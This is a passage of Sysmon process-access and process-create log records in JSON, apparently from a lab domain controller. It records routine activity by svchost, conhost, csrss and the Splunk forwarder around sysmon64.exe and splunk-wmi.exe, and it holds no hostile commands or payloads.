C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:34.951\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4082-5F2D-0000-00106B700500}\r\nTargetProcessId: 4932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:34.951","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4082-5F2D-0000-00106B700500}","TargetProcessId":"4932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.625\r\nProcessGuid: {90617006-4083-5F2D-0000-0010BA750500}\r\nProcessId: 4896\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nFileVersion: 8.0.2\r\nDescription: Remote Performance monitor using WMI\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-wmi.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.625","ProcessGuid":"{90617006-4083-5F2D-0000-0010BA750500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","FileVersion":"8.0.2","Description":"Remote Performance monitor using WMI","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-wmi.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4083-5F2D-0000-0010BA750500}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4083-5F2D-0000-0010BA750500}","TargetProcessId":"4896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4083-5F2D-0000-0010BA750500}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4083-5F2D-0000-0010BA750500}","TargetProcessId":"4896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 